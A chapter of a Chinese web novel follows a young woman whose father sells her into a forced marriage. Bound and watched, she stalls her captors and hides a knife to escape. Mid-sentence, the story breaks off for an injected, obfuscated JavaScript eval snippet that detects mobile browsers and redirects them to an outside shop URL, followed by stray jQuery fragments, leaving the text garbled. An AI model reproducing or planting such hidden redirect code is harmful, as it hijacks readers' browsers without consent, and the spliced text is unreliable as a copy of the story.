21.怎么办

作品:《拯救悲惨女配计划[快穿]

    宋舒兰听明白了,她爹这是要把她卖了,而买家就是驾驶座的男人。


    她内心涌出来的第一个念头不是害怕,而是可笑,她觉得眼前的这一切都非常荒谬。


    她曾经以为她这辈子和宋家之间最好的结果就是老死不相往来,再差一点就是等她工作后,父母会冒出来向她要钱。


    她甚至想过她愿意给,但也绝不多给,自己小时候他们好歹给了自己一口饭吃,那她也愿意以同等标准给他们养老。


    但她怎么都不会想到,他们竟会对自己狠毒到这种地步。


    她是个人啊!是活生生的人!他们凭什么觉得因为生了她就有权利处置她的人生?


    如果这些年她不曾睁眼看过外面的世界,或许她也就认命了,她会觉得反正嫁给谁都是嫁,女人天生就是要这样过日子的。


    可是姐姐当年毅然决然带走了她,多年来尽心尽力地照顾她教育她,连拖带拽地将她从那种麻木封闭的状态中解救出来,让她脱胎换骨重新成长为了会哭会笑的人。


    她如果就此认命,不但对不起姐姐,更对不起自己。


    她宁死也不愿意再回到从前的命运。


    有那么一瞬间,宋舒兰想从车上跳下去。


    理智阻止了她,一来她绑着手脚很难实现,二来三轮车车速不快,跳下去也死不了,她不敢赌会不会正好被好心人看到,愿意为了救自己和这几个男人对上。


    如果没有,到时候摔断了胳膊腿就更不容易跑了。


    她在脑海中绞尽脑汁地思索着办法。


    不知过了多久,车停了,一左一右坐在她身旁的两个男人撩开帘子下了车,帘子没有合好,漏出一条缝。


    透过缝隙宋舒兰注意道外面道路两旁是玉米地,前方电线杆上似乎有个牌子,太远了写的什么她看不清。


    她瞥了眼自己被扔到身后的书包,那包里装着相机,是她带去学校和同学们拍纪念照用的。


    趁着二人还没回来,她慢慢蹭到书包旁边,小心翼翼地拉开了拉链。


    将手探进去,摸索着把相机的镜头对准了帘子的缝隙,按下了快门。


    很快,她听见宋父问:“刚是不是进镇了?啥时候能到庙前村?”


    郑志强道:“快了,天黑前指定能到。”


    说完又骂了句:“你们俩,尿完了就快上车,磨磨唧唧的娘们儿一样。”


    二人很快提好裤子上车,那缕光线再次消失,相机也失去了作用。宋舒兰内心一沉,从刚才的对话中她知道现在这条路就是去镇上的大路,接下来她必须记住从这里去庙前村的路线。


    她用大拇指掐着食指关节,用疼痛提醒自己集中注意力。在内心读秒,记下每隔大约几分钟车会拐弯,在黑暗中判断着是向左拐还是向右拐。


    约四十分钟后,三轮车再次停下,宋舒兰被推搡着下了车,发现身处再普通不过的一处农家院子,晾衣绳上挂着些衣服,旁边放着两个水缸,墙角处圈了一块菜园,门是几块木板拼接而成的,院墙是低矮的土坯。


    看着很容易翻出去,可是没人给她翻墙逃跑的机会,很快她就被推进了屋里。


    宋父站在屋檐下,隔着窗户看她一眼,叹气道:“舒兰啊,你也别怪爹,这次是你哥急用钱,听说在搞什么大项目,就差两万块,我们也是没办法,你从小就是个好孩子,就当帮帮你哥。”


    “再说你也该结婚了,村里哪有你这么大年纪还不成家的,媒人都会嫌弃的。”


    “你以后跟着小郑好好过日子,我看这小伙子不错,不会亏待你的。”


    宋舒兰感觉自己胸腔中有一团熊熊燃烧的怒火,只恨自己被胶带封着嘴说不出话,只好把所有的愤恨化作锐利怨毒的目光死死盯着眼前这与她血脉相连的父亲。


    宋父竟有些不敢看她的眼神,婉拒了郑家母子留他吃饭的请求,挥挥手走了。


    宋舒兰一整天滴水未进,又饿又渴,晚上闻到外间饭菜的香气肚子更是忍不住咕噜叫。


    她“唔唔”两声试图引起注意,半晌后郑母端着一碗泡着馒头块的稀饭进了屋,神情冷淡:“饿了?”


    宋舒兰点头。


    郑母撕开了她嘴上的胶带,一勺一勺地喂她。


    宋舒兰忍着恶心安安静静地吃,她必须吃饱才有力气跑。


    郑母对她的乖顺似乎非常满意,主动问她:“想解手不?”


    宋舒兰再次点头,轻声问:“能不能帮我把手腕脚腕解开?我不会跑的。”


    “不行。”郑母拒绝地很坚定,从床底下掏出来一个尿盆道:“我帮你。”


    宋舒兰只好暂时听她的,裤子褪下去的时候她看见了一抹红色。


    郑母显然也瞧见了,愣了下随即皱起眉:“你咋这个时候来事儿?”


    宋舒兰从未如此感谢过月经的到来,内心简直要喜极而泣了,面上做出两分羞涩来,嗫嚅着问:“阿姨,有卫生巾吗?”


    “用什么卫生巾,多费钱。”郑母皱着眉从柜子里翻出条月经带扔给她:“用这个。”


    *


    不一会儿,郑志强吃完饭,搓着手满脸兴奋地进了屋,看都没看郑母,就要直接往床上扑过来。


    宋舒兰吓得直往里缩:“你别过来。”


    郑母伸胳膊拦住儿子,又瞥了眼宋舒兰,满脸嫌弃道:“这晦气玩意儿进门第一天就来事儿了,儿子你多等几天吧。”


    郑志强满不在乎:“没事儿,我不介意。”


    宋舒兰一咬牙:“不行,女人生理期不能做那种事,会得病的。”


    她语速飞快道:“我知道我生病你们不在乎,可是病了就会影响生孩子的。你们花钱娶我不是为了生儿子吗?不差这几天吧?”


    “我上过高中,这都是书上说的,你们相信我。”


    一听这话郑志强才算犹豫起来。


    郑母也劝:“确实有这种说法,反正她人都进了咱老王家了,又跑不了,正好不是下周五才办酒嘛,那天日子吉利,到时候她身上也差不多过去了,儿子你就再忍忍吧。”


    郑志强只好作罢,他也没兴趣搂着一个只能看不能吃的女


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138084|194741||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人睡觉,于是把宋舒兰赶去了郑母那屋。


    宋舒兰松了口气。


    接下来的几天内,宋舒兰始终被绑着,吃饭方便都由郑母帮忙。


    一直到周五办酒席请亲戚和同村人来家吃饭这天,按照郑母的意思,宋舒兰不需要露面,只等晚上把她往郑志强屋里一塞就算完事儿。


    可郑志强觉得自己娶了个有文化又漂亮的老婆,急于向大家证明自己的厉害,证明别人不愿意嫁给他是别人没眼光。所以他非要让宋舒兰一块儿同他出去敬酒。


    郑母劝不住儿子,只好答应。同时恶狠狠地叮嘱宋舒兰不要闹事儿,不要给他们家丢脸。


    宋舒兰点头,乖顺地任由对方解开了自己手腕脚腕处的麻绳。


    郑母又从柜子里翻出了当年自己结婚时穿的大红色褂子,爱惜地摸了摸,递给宋舒兰:“穿上它。”


    宋舒兰接过来,忍着那股发霉的味道穿上。


    郑志强想来牵她的手,她下意识避开了。


    对方顿时脸色不好,阴沉着脸:“你别给脸不要脸。”


    宋舒兰深吸一口气,告诉自己要忍,她只有见到人才能求救。


    于是她试探性伸出手,被对方一把抓住扯着出了门。


    院子里来喝喜酒的客人不少,满满当当地摆了五桌,大多是男人,烟气缭绕,熏得人难受。


    最小的那一桌坐着几个女人,每人带着几个孩子,叽叽喳喳地说话。


    宋舒兰先去男人那几桌敬了酒,然后指着女人和小孩那桌,试探性问郑志强:“我能不能去那边坐?”


    郑志强听了一圈儿恭喜,心情不错,挥挥手让她去了。


    宋舒兰这些天她要么被盯着,要么被锁着,今天好不容易能出来,她必须做点什么,没有时间了,如果再不跑,今晚她怕自己很难躲过去了。


    她在一位中年女人身边坐下,强行扯起笑脸陪她们聊天,被一桌人问来问去,叫什么?多大了?哪个村的?上过几年学等等。


    在得知自己正在读高三时,众人纷纷道:“女娃读那么多书有啥用?早点嫁人是正经。”


    “你都十九了,可不能再耽误了,我想你这么大的时候我家二儿子都会跑了。”


    宋舒兰内心涌起一股深深的无力感。


    她原本是打算向这些女人求救的,希望她们看在同为女性的份上,能掩护自己逃跑,或者起码帮她报个警。


    可是她发现这些人的思维早已僵化,如果她贸然向她们提出请求,不帮也就算了,最怕她们向郑家母子告密,最后她又被关进房间里才真的是没救了。


    怎么办?


    “舒兰啊,你去灶屋里倒杯水出来。”


    是郑母在喊她,她偏过头,看到王志强那桌酒席上一位客人喝多了吐得满地都是。


    她顿了两秒,回:“哎,好。”


    随后起身去了灶屋,四下无人,蜂窝煤炉子上的水咕噜作响,宋舒兰的目光转了一圈,拿下了墙上挂着的那把水果刀,她的手都在发抖,却依然坚定地把它藏在了腰间。